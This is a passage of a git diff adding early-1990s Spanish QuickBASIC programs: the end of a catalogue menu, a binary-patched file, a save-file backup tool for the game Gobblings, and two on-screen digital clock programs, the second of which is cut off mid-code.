"þ INTRODUCIR NUEVOS PROGRAMAS" +lec3$(2) = "þ BORRAR PROGRAMAS " +lec3$(3) = "þ INTRODUCIR MENSAJE " +lec3$(4) = "þ VISIONAR / BORRAR PEDIDOS " +lot3$(1) = "Introducir nuevos programas " +lot3$(2) = "Borrar programas " +lot3$(3) = "Introducir mensaje " +lot3$(4) = "Visionar / Borrar pedidos " +RETURN +END + + + +limlin: +'(LIM)ite -de- (LIN)ea +'Lon=longitud lin=linea col=columna tipo$=" ..z" +LOCATE lin, col: PRINT "þ" +FOR A = 1 TO lon +X: +A$ = INKEY$: IF A$ = "" THEN GOTO X +IF A$ = CHR$(13) THEN GOTO finsec +IF A$ = CHR$(27) THEN GOTO limlin +IF A$ = CHR$(8) THEN GOTO borra ELSE GOTO ponchar + +borra: +A = A - 1: IF A < 1 THEN A = 1 +LOCATE lin, col + A - 1: PRINT " ": LOCATE lin, col + A - 1: PRINT "þ ": GOTO X + +ponchar: +IF A$ < LEFT$(tipo$, 1) OR A$ > RIGHT$(tipo$, 1) THEN GOTO X +IF A = 1 THEN origen$ = STRING$(lon, " "): LOCATE lin, col: PRINT origen$ +LOCATE lin, col + A - 1: PRINT A$; : IF A <> lon THEN PRINT "þ" ELSE GOTO X +NEXT A + +finsec: +texto$ = "": FOR I = 1 TO lon +IF CHR$(SCREEN(lin, col + I - 1)) = "þ" THEN texto$ = texto$ + " " ELSE texto$ = texto$ + CHR$(SCREEN(lin, col + I - 1)) +NEXT +LOCATE lin, col: COLOR 1, 7: PRINT texto$: COLOR 7, 1, 1 +PLAY "b64": RETURN + +corrector: +IF ERR = 52 OR ERR = 53 THEN fallo = 1: GOTO contrif +IF ERR = 27 THEN GOTO nohaypapel +GOTO fallonoloc +contrif: +RESUME NEXT +END + +nohaypapel: +COLOR 14, 1, 1 +BEEP +LOCATE 13, 34: PRINT "No hay papel." + +LOCATE 13, 34: PRINT " " +GOTO il + +fallonoloc: +COLOR 15, 1, 1 +LOCATE 13, 33: PRINT "Fallo:", ERR; "RESET PROGRAM" +LOCATE 14, 33: PRINT "PULSE UNA TECLA: ..(JD).." +rti: +IF INKEY$ = "" THEN GOTO rti +GOTO principiodelprincipio +tipodeficha: +IF f = 1 THEN Tf$ = "1" +IF f = 2 THEN Tf$ = "2" +IF f = 3 THEN Tf$ = "3" +IF f = 4 THEN Tf$ = "4" +IF f = 5 THEN Tf$ = "5" +IF f = 6 THEN Tf$ = "6" +IF f = 7 THEN Tf$ = "7" +IF f = 8 THEN Tf$ = "8" +IF f = 9 THEN Tf$ = "9" +IF f = 0 THEN Tf$ = "0" +IF f = 10 THEN Tf$ = "0" +RETURN + + + + +help: +COLOR 7, 1, 1 +LOCATE 14, 34: PRINT "Ayuda basica, JD." +LOCATE 16, 34: PRINT "Use los cursores, para acceder a" +LOCATE 17, 34: PRINT "los men£s." +LOCATE 18, 34: PRINT "Presione intro para 'entrar'." +LOCATE 19, 34: PRINT "Pulse ESC para retroceder en un Menu." +LOCATE 21, 34: PRINT " Pulse una tecla" +retorico: +IF INKEY$ = "" THEN GOTO retorico +COLOR 7, 1, 1: FOR wq = 13 TO 21: LOCATE wq, 34: PRINT STRING$(37, " "): NEXT +RETURN +END + +finp: +COLOR 7, 1, 1 +CLS +PRINT " JD, Catalogo vú3.1 " +PRINT : PRINT "Gracias por utilizar este sofware." +PRINT : PRINT "Devuelveme este disco cuando acabes." +PRINT " Gracias..." + +END + + diff --git a/BAS/COMPRAS.BAS b/BAS/COMPRAS.BAS new file mode 100644 index 0000000000000000000000000000000000000000..e5f9ffc502ad3d764f97c2054ba0c0133866529b GIT binary patch literal 14159 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 b-Db22|8GUz^x2gT{V()tEB4zvxPbqEzgk&& literal 0 HcmV?d00001 diff --git a/BAS/GOB.BAS b/BAS/GOB.BAS new file mode 100644 index 0000000..5209e1e --- /dev/null +++ b/BAS/GOB.BAS @@ -0,0 +1,144 @@ +DECLARE SUB mensajes () +DIM SHARED mem$(6) + +CLS +a$ = "±ÛÛÛÛÛ ±ÛÛÛÛÛ ±Û ±Û ±Û ±Û ±Û ±Û ±Û ±ÛÛÛÛÛ ±ÛÛÛÛÛ" +b$ = "±Û±±± ±Û ±Û ±Û ±Û ±Û ±Û±Û ±Û ±Û±±± ±Û" +c$ = "±Û ±Û ±Û ±ÛÛÛÛ ±ÛÛÛÛ ±Û ±Û ±Û ±Û±Û ±Û ±Û ±Û" +d$ = "±Û ÛÛÛ ±Û ±Û ±Û±±ÛÛ ±Û±±ÛÛ ±Û ±Û ±Û ±Û ±Û Û ±Û ÛÛÛ ±ÛÛÛÛÛ" +e$ = "±Û ±±Û ±Û ±Û ±Û ±±Û ±Û ±±Û ±Û ±Û ±Û ±Û ±Û±Û ±Û±±±Û ±±±±±Û" +f$ = "±Û Û ±Û ±Û ±Û ±Û ±Û ±Û ±Û ±Û ±Û ±Û ±±ÛÛ ±Û ±Û ±Û" +g$ = "±ÛÛÛÛÛ ±ÛÛÛÛÛ ±ÛÛÛÛÛ ±ÛÛÛÛÛ ±ÛÛÛ ±Û ±Û ±Û ±±Û ±ÛÛÛÛÛ ±ÛÛÛÛÛ" +h$ = "±±±±±± ±±±±±± ±±±±±± ±±±±±± ±±±± ±± ±± ±± ±± ±±±±±± ±±±±±±" +LOCATE 21, 26: PRINT "Pulse una Tecla" + + +COLOR 12 + +RANDOMIZE TIMER +a = 1 +DO +kdb$ = INKEY$ +x% = INT(RND * 8) + 1 +y% = INT(RND * 79) + 1 +SELECT CASE x% + CASE 1: l$ = a$ + CASE 2: l$ = b$ + CASE 3: l$ = c$ + CASE 4: l$ = d$ + CASE 5: l$ = e$ + CASE 6: l$ = f$ + CASE 7: l$ = g$ + CASE 8: l$ = h$ + CASE ELSE + END SELECT + + +LOCATE x% + 10, y%: PRINT MID$(l$, y%, 1) +LOOP WHILE kdb$ = "" + +LOCATE 11, 1: PRINT a$ +LOCATE 12, 1: PRINT b$ +LOCATE 13, 1: PRINT c$ +LOCATE 14, 1: PRINT d$ +LOCATE 15, 1: PRINT e$ +LOCATE 16, 1: PRINT f$ +LOCATE 17, 1: PRINT g$ +LOCATE 18, 1: PRINT h$ +LOCATE 21, 26: PRINT SPACE$(20) + + +T$(1) = " Conservar Joker's " +T$(2) = " Restaurar Joker's " +T$(3) = " - Creditos - " +T$(4) = " INFO:INFO:INFO " +COLOR 14 +FOR e = 1 TO 4 +LOCATE 2 + e, 30: PRINT T$(e) +NEXT +fin = false +lin = 1 + +DO + +kdb$ = INKEY$ +COLOR 14, 0 +IF kdb$ = CHR$(0) + "H" THEN LOCATE 2 + lin, 30: PRINT T$(lin); : lin = lin - 1 +IF kdb$ = CHR$(0) + "P" THEN LOCATE 2 + lin, 30: PRINT T$(lin); : lin = lin + 1 + +IF kdb$ = CHR$(27) THEN END + +IF kdb$ = CHR$(13) THEN + SELECT CASE lin + CASE 1 + SHELL "copy *.inf *.jd>nul" + IF CHR$(SCREEN(4, 1)) = "A" THEN + LOCATE 4, 1: PRINT SPACE$(80); + LOCATE 4, 30: PRINT T$(2) + COLOR 10 + mem$(1) = " Para que el conservador funcione debe haber una partida salvada " + mem$(2) = " y encontrarse este programa en el Subdirectorio de Gobblings ú3ú" + mem$(3) = " La persistencia de este error se debe a que no hay partidas salvadas " + mensajes + ELSE + END + END IF + + + CASE 2 + SHELL "copy *.jd *.inf>nul" + IF CHR$(SCREEN(5, 1)) = "A" THEN + LOCATE 5, 1: PRINT SPACE$(80); + LOCATE 5, 30: PRINT T$(3) + COLOR 10 + mem$(1) = " Para que el restaurador funcione debe haber " + mem$(2) = " un Joker's salvado " + mem$(3) = " La persistencia de este error se debe a que no hay Joker's Salvados " + mensajes + ELSE + END + END IF + + CASE 3 + COLOR 10 + mem$(1) = " Conservador de Joker's por:" + mem$(2) = " Jos‚ David Guill‚n" + mem$(3) = " c/Pintor Garcia Ramos n§5 2D" + mensajes + + CASE 4 + COLOR 10 + mem$(1) = " Salve una partida, salga del juego y escoja CONSERVAR JOKER'S " + mem$(2) = " Carge el juego nuevamente y utilice todos los Joker's que necesite" + mem$(3) = " Luego SALGA del juego y escoja RESTAURAR JOKER'S y carge el juego." + mensajes + + CASE ELSE + END SELECT +END IF + +IF lin = 0 THEN lin = 4 +IF lin = 5 THEN lin = 1 + +COLOR 14, 7 +LOCATE 2 + lin, 30: PRINT T$(lin) + +LOOP + + +SUB mensajes + + COLOR 10 + LOCATE 8, 1: PRINT mem$(1) + LOCATE 9, 1: PRINT mem$(2) + LOCATE 10, 1: PRINT mem$(3) + + SLEEP + COLOR 14, 0 + LOCATE 8, 1: PRINT SPACE$(80); + LOCATE 9, 1: PRINT SPACE$(80); + LOCATE 10, 1: PRINT SPACE$(80); + + +END SUB + diff --git a/BAS/HORA.BAS b/BAS/HORA.BAS new file mode 100644 index 0000000..61449b5 --- /dev/null +++ b/BAS/HORA.BAS @@ -0,0 +1,302 @@ +'Generador de un reloj digital en pantalla' +DEFINT A-Z + +DECLARE SUB PonNum (Digito$, Posicion) +DIM SHARED P(6), A +mir$ = "Reloj ( Jos‚ David Guill‚n 15/02/93 )" +IF MID$(mir$, 13, 1) <> "‚" THEN PRINT " Programa modificado 1": SYSTEM +IF MID$(mir$, 26, 1) <> "‚" THEN PRINT " Programa modificado 2": SYSTEM + +P(1) = 0 +P(2) = 80 +P(3) = 200 +P(4) = 280 + +P(5) = 400 +P(6) = 440 + +SCREEN 9 +Hora$ = LEFT$(TIME$, 2) +Min$ = MID$(TIME$, 4, 2) + + Hora1$ = LEFT$(Hora$, 1) + A = 1 + PonNum Hora1$, 1 + Hora2$ = MID$(Hora$, 2, 1) + A = 2 + PonNum Hora2$, 2 + +LINE (170, 20)-(180, 30), 12, BF +LINE (170, 60)-(180, 70), 12, BF + + Min1$ = LEFT$(Min$, 1) + A = 3 + PonNum Min1$, 3 + + Min2$ = MID$(Min$, 2, 1) + A = 4 + PonNum Min2$, 4 + + +LINE (370, 50)-(380, 60), 12, BF +LINE (370, 80)-(380, 90), 12, BF + + +DO +Hora$ = LEFT$(TIME$, 2) +Min$ = MID$(TIME$, 4, 2) + +IF INKEY$ <> "" THEN SCREEN 0: PRINT mir$: SYSTEM + +IF OldHor2$ <> LEFT$(Hora$, 1) THEN + Hora1$ = LEFT$(Hora$, 1) + A = 1 + PonNum Hora1$, 1 +END IF +OldHor2$ = LEFT$(Hora$, 1) + +IF OldHor1$ <> MID$(Hora$, 2, 1) THEN + Hora2$ = MID$(Hora$, 2, 1) + A = 2 + PonNum Hora2$, 2 +END IF +OldHor1$ = MID$(Hora$, 2, 1) + +IF OldMin2$ <> LEFT$(Min$, 1) THEN + Min1$ = LEFT$(Min$, 1) + A = 3 + PonNum Min1$, 3 +END IF +OldMin2$ = LEFT$(Min$, 1) + +IF OldMin1$ <> MID$(Min$, 2, 1) THEN + Min2$ = MID$(Min$, 2, 1) + A = 4 + PonNum Min2$, 4 + +END IF +OldMin1$ = MID$(Min$, 2, 1) + +IF INKEY$ <> "" THEN SCREEN 0: PRINT mir$: SYSTEM + + seg$ = MID$(TIME$, 7, 1) + A = 5 + PonNum seg$, 5 + seg$ = MID$(TIME$, 8, 1) + A = 6 + PonNum seg$, 6 + + +LOOP + +SUB PonNum (Digito$, Posicion) + +SELECT CASE VAL(RTRIM$(LTRIM$(Digito$))) + CASE 0 + D1 = 1: D2 = 1: D3 = 1: D4 = 1: D5 = 0: D6 = 1: D7 = 1 + + CASE 1 + D1 = 0: D2 = 0: D3 = 1: D4 = 0: D5 = 0: D6 = 1: D7 = 0 + + CASE 2 + D1 = 0: D2 = 1: D3 = 1: D4 = 1: D5 = 1: D6 = 0: D7 = 1 + + + CASE 3 + D1 = 0: D2 = 1: D3 = 1: D4 = 0: D5 = 1: D6 = 1: D7 = 1 + + + CASE 4 + D1 = 1: D2 = 0: D3 = 1: D4 = 0: D5 = 1: D6 = 1: D7 = 0 + + + CASE 5 + D1 = 1: D2 = 1: D3 = 0: D4 = 0: D5 = 1: D6 = 1: D7 = 1 + + + CASE 6 + D1 = 1: D2 = 1: D3 = 0: D4 = 1: D5 = 1: D6 = 1: D7 = 1 + + + CASE 7 + D1 = 0: D2 = 1: D3 = 1: D4 = 0: D5 = 0: D6 = 1: D7 = 0 + + + CASE 8 + D1 = 1: D2 = 1: D3 = 1: D4 = 1: D5 = 1: D6 = 1: D7 = 1 + + + CASE 9 + D1 = 1: D2 = 1: D3 = 1: D4 = 0: D5 = 1: D6 = 1: D7 = 1 + + +END SELECT + +IF Posicion < 5 THEN + +IF D1 = 1 THEN +PSET (0 + P(A), 0), 4 +DRAW "D40 R15 U26 H15" + DRAW "F13 BL5 P4,4" +ELSE +PSET (0 + P(A), 0), 0 +DRAW "D40 R15 U26 H15" + DRAW "F13 BL5 P0,0" + +END IF + +IF D2 = 1 THEN +PSET (3 + P(A), 0), 4 +DRAW "R63 G15 L33 H15" + DRAW "BR5 BD5 BR23 P4,4" +ELSE +PSET (3 + P(A), 0), 0 +DRAW "R63 G15 L33 H15" + DRAW "BR5 BD5 BR23 P0,0" + +END IF + +IF D3 = 1 THEN +PSET (69 + P(A), 0), 4 +DRAW " D40 L15 U25 E15" + DRAW "G13 BR5 P4,4" +ELSE +PSET (69 + P(A), 0), 0 +DRAW " D40 L15 U25 E15" + DRAW "G13 BR5 P0,0" + +END IF + +IF D4 = 1 THEN +PSET (0 + P(A), 42), 4 +DRAW " D50 E15 U20 H15" + DRAW "F13 BL5 P4,4" +ELSE +PSET (0 + P(A), 42), 0 +DRAW " D50 E15 U20 H15" + DRAW "F13 BL5 P0,0" + +END IF + +IF D5 = 1 THEN +PSET (3 + P(A), 42), 4 +DRAW " R63 G15 L33 H15" + DRAW "BR5 BD5 BR23 P4,4" +ELSE +PSET (3 + P(A), 42), 0 +DRAW " R63 G15 L33 H15" + DRAW "BR5 BD5 BR23 P0,0" + +END IF + +IF D6 = 1 THEN +PSET (69 + P(A), 42), 4 +DRAW " D50 H15 U20 E15" +DRAW "G13 BR5 P4,4" +ELSE +PSET (69 + P(A), 42), 0 +DRAW " D50 H15 U20 E15" +DRAW "G13 BR5 P0,0" + +END IF + +IF D7 = 1 THEN +PSET (3 + P(A), 93), 4 +DRAW " E15 R33 F15 L62" +DRAW "BR23 BU5 P4,4" +ELSE +PSET (3 + P(A), 93), 0 +DRAW " E15 R33 F15 L62" +DRAW "BR23 BU5 P0,0" + +END IF + +'******************************************************** +'**************** EL GRAN " ELSE " ********************* +'******************************************************** + +ELSE + +IF D1 = 1 THEN +PSET (0 + P(A), 45), 4 +DRAW "D20 R8 U13 H8" + DRAW "F7 BL3 P4,4" +ELSE +PSET (0 + P(A), 45), 0 +DRAW "D20 R8 U13 H8" + DRAW "F7 BL3 P0,0" + +END IF + +IF D2 = 1 THEN +PSET (3 + P(A), 45), 4 +DRAW "R32 G8 L17 H8" + DRAW "BR3 BD3 BR12 P4,4" +ELSE +PSET (3 + P(A), 45), 0 +DRAW "R32 G8 L17 H8" + DRAW "BR3 BD3 BR12 P0,0" + +END IF + +IF D3 = 1 THEN +PSET (37 + P(A), 45), 4 +DRAW "D20 L8 U13 E8" + DRAW "G8 BR3 P4,4" +ELSE +PSET (37 + P(A), 45), 0 +DRAW "D20 L8 U13 E8" + DRAW "G8 BR3 P0,0" + +END IF + +IF D4 = 1 THEN +PSET (0 + P(A), 67), 4 +DRAW "D25 E8 U10 H8" + DRAW "F8 BL3 P4,4" +ELSE +PSET (0 + P(A), 67), 0 +DRAW "D25 E8 U10 H8" + DRAW "F8 BL3 P0,0" + +END IF + +IF D5 = 1 THEN +PSET (3 + P(A), 67), 4 +DRAW "R32 G8 L17 H8" + DRAW "BR3 BD3 BR12 P4,4" +ELSE +PSET (3 + P(A), 67), 0 +DRAW "R32 G8 L17 H8" + DRAW "BR3 BD3 BR12 P0,0" + +END IF + +IF D6 = 1 THEN +PSET (37 + P(A), 67), 4 +DRAW "D25 H8 U10 E8" + DRAW "G8 BR3 P4,4" +ELSE +PSET (37 + P(A), 67), 0 +DRAW "D25 H8 U10 E8" + DRAW "G8 BR3 P0,0" + +END IF + +IF D7 = 1 THEN +PSET (3 + P(A), 93), 4 +DRAW "E8 R17 F8 L34" + DRAW "BR12 BU3 P4,4" +ELSE +PSET (3 + P(A), 93), 0 +DRAW "E8 R17 F8 L34" + DRAW "BR12 BU3 P0,0" + +END IF + +END IF + + + +END SUB + diff --git a/BAS/HORA2.BAS b/BAS/HORA2.BAS new file mode 100644 index 0000000..a673f86 --- /dev/null +++ b/BAS/HORA2.BAS @@ -0,0 +1,462 @@ +'Generador de un reloj digital en pantalla' +DEFINT A-Z + +DECLARE SUB PonNum (Digito$, Posicion) +DIM SHARED P(6), A +DIM OldX1(30), OldY1(30), OldX2(30), OldY2(30), OldX3(30), OldY3(30), OldX4(30), OldY4(30), OldX5(30), OldY5(30), OldTipo(100), OldX6(100), OldY6(100) +RANDOMIZE TIMER + +X(1) = 400: Y(1) = 175 +X(2) = 400: Y(2) = 175 +X(3) = 400: Y(3) = 175 + +X(4) = 400: Y(4) = 175 +X(5) = 400: Y(5) = 175 + +mir$ = "Reloj ( Jos‚ David Guill‚n 15/02/93 )" +IF MID$(mir$, 13, 1) <> "‚" THEN PRINT " Programa modificado 1": SYSTEM +IF MID$(mir$, 26, 1) <> "‚" THEN PRINT " Programa modificado 2": SYSTEM + +P(1) = 0 +P(2) = 80 +P(3) = 200 +P(4) = 280 + +P(5) = 400 +P(6) = 440 + +'P(1) = 0 +'P(2) = 75 +'P(3) = 195 +'P(4) = 275 +' +'P(5) = 395 +'P(6) = 435 + +SCREEN 9 +Hora$ = LEFT$(TIME$, 2) +Min$ = MID$(TIME$, 4, 2) + + Hora1$ = LEFT$(Hora$, 1) + A = 1 + PonNum Hora1$, 1 + Hora2$ = MID$(Hora$, 2, 1) + A = 2 + PonNum Hora2$, 2 + +LINE (170, 20)-(180, 30), 12, BF +LINE (170, 60)-(180, 70), 12, BF + + Min1$ = LEFT$(Min$, 1) + A = 3 + PonNum Min1$, 3 + + Min2$ = MID$(Min$, 2, 1) + A = 4 + PonNum Min2$, 4 + + +LINE (370, 50)-(380, 60), 12, BF +LINE (370, 80)-(380, 90), 12, BF + + +DO +Hora$ = LEFT$(TIME$, 2) +Min$ = MID$(TIME$, 4, 2) + +IF INKEY$ <> "" THEN SCREEN 0: PRINT mir$: SYSTEM + +IF OldHor2$ <> LEFT$(Hora$, 1) THEN + Hora1$ = LEFT$(Hora$, 1) + A = 1 + PonNum Hora1$, 1 +END IF +OldHor2$ = LEFT$(Hora$, 1) + +IF OldHor1$ <> MID$(Hora$, 2, 1) THEN + Hora2$ = MID$(Hora$, 2, 1) + A = 2 + PonNum Hora2$, 2 +END IF +OldHor1$ = MID$(Hora$, 2, 1) + +IF OldMin2$ <> LEFT$(Min$, 1) THEN + Min1$ = LEFT$(Min$, 1) + A = 3 + PonNum Min1$, 3 +END IF +OldMin2$ = LEFT$(Min$, 1) + +IF OldMin1$ <> MID$(Min$, 2, 1) THEN + Min2$ = MID$(Min$, 2, 1) + A = 4 + PonNum Min2$, 4 + +END IF +OldMin1$ = MID$(Min$, 2, 1) + +IF INKEY$ <> "" THEN SCREEN 0: PRINT mir$: SYSTEM + + seg$ = MID$(TIME$, 7, 1) + A = 5 + PonNum seg$, 5 + seg$ = MID$(TIME$, 8, 1) + A = 6 + PonNum seg$, 6 + + +'*************************************************** +'* GRAFICO LINEAL ********************************** +'*************************************************** + +M(4) = INT(RND * 8) + 1 +M(3) = INT(RND * 8) + 1 +M(2) = INT(RND * 8) + 1 